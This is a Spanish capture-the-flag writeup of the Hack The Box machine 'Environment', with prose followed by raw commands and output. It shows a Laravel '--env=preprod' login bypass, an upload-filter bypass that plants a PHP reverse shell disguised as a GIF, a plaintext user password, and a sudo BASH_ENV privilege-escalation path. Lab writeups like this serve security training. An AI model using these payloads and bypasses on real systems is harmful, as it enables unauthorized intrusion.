En esta ocasión vamos a hacer el writeup de la máquina Environment de Hack the Box, una máquina Linux de dificultad medium.
Información General
Nombre de la máquina:Environment
IP:10.10.11.67
Sistema operativo:Linux
Dificultad:🟡 Media
Fecha:17/06/2025
Primer acceso
Añadimos la IP 10.10.11.67 a nuestro /etc/hosts y accedemos través del navegador.
Parece una web relacionada con el medio ambiente. La única funcionalidad que encontramos es la de añadir un email a la lista de espera, que da un fallo al poner un email inválido. Lo testamos pero no encontramos nada relevante.
Escaneo de puertos
Solo encontramos 2 puertos abiertos, el 22 y el 80, los típicos.
Fuzzing
Encontramos algunos directorios interesantes:
login - página de login
upload - página de subida de archivos
storage - posible directorio de almacenamiento de archivos subidos
Login
Al acceder a /login accedemos a un panel de login, que al poner unas credenciales incorrectas nos da el mensaje "Invalid credentials". Probamos un bruteforce del login con hydra sin éxito
Al capturar un request del login con BurpSuite encontramos que se pasa un XSRF-TOKEN y un laravel_session:
Vemos que se envía de la siguiente manera:
Upload
Al acceder a /upload nos encontramos un Method Not Allowed y algo aún más interesante, la versión de PHP 8.2.28 y Laravel 11.30.0 con lo que podríamos buscar exploits públicos.
Enumeración de cabeceras
Tecnologías identificadas:
Nginx 1.22.1 (Servidor web).
Laravel (Framework PHP, versión 11.30.0).
PHP 8.2.28 (Versión expuesta en el endpoint /upload).
Cookies de sesión:
XSRF-TOKEN: Token CSRF (usado para protección contra ataques Cross-Site Request Forgery).
laravel_session: Cookie de sesión autogestionada por Laravel (encriptada).
Cabeceras de seguridad:
X-Frame-Options: SAMEORIGIN: Protección contra clickjacking.
Analizando web.php en /upload encontramos que en la lógica, no hay ninguna situación else escrita:
Así que intenta asignarle un valor aleatorio.
Y como vemos en la imagen anterior, significa que en Laravel , si el entorno actual es "preprod"(entorno de pre-producción), iniciará sesión automáticamente como user_id = 1 y saltará a la página de administración en segundo plano.
Simplemente le pasamos los parámetros para hacer el bypass de env:
Enviamos el request con BurpSuite y accedemos al panel de administración:
Encontramos varios usuarios, pero la funcionalidad más interesante es que podemos subir una imagen de perfil, por lo que podríamos probar a subir una reverse shell:
Al intentar subirla vemos que nos da un error, ya que no permite el tipo de archivo php:
Bypass de subida de archivos php
Modificamos con BurpSuite la extensión del archivo a phtml, cambiamos el Content-Type a image/jpg y añadimos el MYME Type GIF89a, y nos deja subir la shell!
Eso nos guarda la shel en la ruta:
Sin embargo, al acceder a la URL, solo se descarga el archivo. Aquí, debemos añadir un punto al final para evitarlo.
Además descubrimos que no hace falta cambiar la extensión a phtml, sino que con añadir el . al final de php también hace el bypass.
Houston, tenemos una shell!
User Flag
Escalada de privilegios
En contramos un directorio backup muy interesante con un archivo keyvault.gpg:
Extraer keyvault.gpg
Dado que el usuario actual www-data no puede crear archivos en el directorio /var/www:
Le especificamos el directorio /tmp:
Y leemos el message.txt en /tmp:
Tenemos una contraseña en texto plano para el entorno de environment.htb! Cambiamos al usuario hish y ganamos una shell como este usuario:
Permisos de ejecución
Se puede ver que las dos variables de entorno env_keep y ENVBASH_ENV se conservan y se pueden utilizar para escalar privilegios.
Root flag
Búsqueda de exploits
Buscando exploits de Laravel encontramos que es vulnerable al CVE-2024-21546, que permite a un atacante no autenticado subir una reverse shell y ganar RCE en el objetivo:
Este script tiene como objetivo un Laravel File Manager vulnerable creado por UniSharp, que permite a usuarios no autenticados eludir restricciones de archivos y subir archivos maliciosos. Esto puede llevar a la ejecución remota de código (RCE) cuando se activa el payload subido.
El exploit realiza lo siguiente:
Valida la laravel_session proporcionada por el usuario
Extrae el CSRF token mediante expresiones regulares
Sube un archivo PNG fake que contiene un payload de reverse shell en PHP
sudo echo "10.10.11.67 enviroment.htb" | sudo tee -a /etc/hosts
sudo nmap -v -p- -sCV -Pn -T5 10.10.11.67
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Save the Environment | environment.htb
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
POST /login HTTP/1.1
Host: environment.htb
_token=JNCSO9ry4XvsQhVOhorOAtASyt4bQrqZAvy9paUx&email=a%40a.c&password=123&remember=111
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
_token=iOnmtEu4tA8tZqCunYeJztuBjO1nuGmP4MqCKeKO&email=a%40a.c&password=123&remember=True
http://environment.htb/management/dashboard
/storage/files/shell.phtml
Content-Disposition: form-data; name="_token"
XOqr2xIR9gadyFiPSBf7H8IgkDn0nSXD3BIjoPCU
-----------------------------21613416132803409862345788521
Content-Disposition: form-data; name="upload"; filename="shell.php."
Content-Type: image/jpg
GIF89a
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE:
www-data@environment:/$ cd /home
cd /home
www-data@environment:/home$ ls
ls
hish
www-data@environment:/home$ cd hish
cd hish
www-data@environment:/home/hish$ ls
ls
backup
user.txt
www-data@environment:/home/hish$ cat user.txt
cat user.txt
e70cbc26310f4c6c1de9c53918fd3ad5
www-data@environment:/home/hish$ ls
backup
user.txt
www-data@environment:/home/hish$ cd backup
www-data@environment:/home/hish/backup$ ls
keyvault.gpg
www-data@environment:/home/hish/backup$ su hish
Password: marineSPm@ster!!
/bin/bash -i
hish@environment:~/backup$ id
id
uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)
hish@environment:~/backup$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
hish@environment:~/backup$ sudo -l -S
sudo -l -S
[sudo] password for hish: marineSPm@ster!!
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo